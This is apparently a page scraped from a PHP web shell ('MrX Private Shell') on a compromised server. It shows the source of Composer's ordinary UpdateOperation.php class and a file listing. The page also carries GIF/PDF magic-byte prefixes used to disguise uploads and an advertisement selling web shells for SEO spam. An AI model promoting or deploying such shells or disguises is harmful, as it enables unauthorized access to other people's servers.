GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/*
* This file is part of Composer.
*
* (c) Nils Adermann <naderman@naderman.de>
* Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Composer\DependencyResolver\Operation;
use Composer\Package\PackageInterface;
use Composer\Package\Version\VersionParser;
/**
* Solver update operation.
*
* @author Konstantin Kudryashov <ever.zet@gmail.com>
*/
class UpdateOperation extends SolverOperation implements OperationInterface
{
const TYPE = 'update';
/**
* @var PackageInterface
*/
protected $initialPackage;
/**
* @var PackageInterface
*/
protected $targetPackage;
/**
* @param PackageInterface $initial initial package
* @param PackageInterface $target target package (updated)
*/
public function __construct(PackageInterface $initial, PackageInterface $target)
{
$this->initialPackage = $initial;
$this->targetPackage = $target;
}
/**
* Returns initial package.
*
* @return PackageInterface
*/
public function getInitialPackage()
{
return $this->initialPackage;
}
/**
* Returns target package.
*
* @return PackageInterface
*/
public function getTargetPackage()
{
return $this->targetPackage;
}
/**
* @inheritDoc
*/
public function show($lock)
{
return self::format($this->initialPackage, $this->targetPackage, $lock);
}
/**
* @param bool $lock
* @return string
*/
public static function format(PackageInterface $initialPackage, PackageInterface $targetPackage, $lock = false)
{
$fromVersion = $initialPackage->getFullPrettyVersion();
$toVersion = $targetPackage->getFullPrettyVersion();
if ($fromVersion === $toVersion && $initialPackage->getSourceReference() !== $targetPackage->getSourceReference()) {
$fromVersion = $initialPackage->getFullPrettyVersion(true, PackageInterface::DISPLAY_SOURCE_REF);
$toVersion = $targetPackage->getFullPrettyVersion(true, PackageInterface::DISPLAY_SOURCE_REF);
} elseif ($fromVersion === $toVersion && $initialPackage->getDistReference() !== $targetPackage->getDistReference()) {
$fromVersion = $initialPackage->getFullPrettyVersion(true, PackageInterface::DISPLAY_DIST_REF);
$toVersion = $targetPackage->getFullPrettyVersion(true, PackageInterface::DISPLAY_DIST_REF);
}
$actionName = VersionParser::isUpgrade($initialPackage->getVersion(), $targetPackage->getVersion()) ? 'Upgrading' : 'Downgrading';
return $actionName.' <info>'.$initialPackage->getPrettyName().'</info> (<comment>'.$fromVersion.'</comment> => <comment>'.$toVersion.'</comment>)';
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| InstallOperation.php | File | 1.31 KB | 0644 |
|
| MarkAliasInstalledOperation.php | File | 1.26 KB | 0644 |
|
| MarkAliasUninstalledOperation.php | File | 1.26 KB | 0644 |
|
| OperationInterface.php | File | 915 B | 0644 |
|
| SolverOperation.php | File | 785 B | 0644 |
|
| UninstallOperation.php | File | 1.29 KB | 0644 |
|
| UpdateOperation.php | File | 2.83 KB | 0644 |
|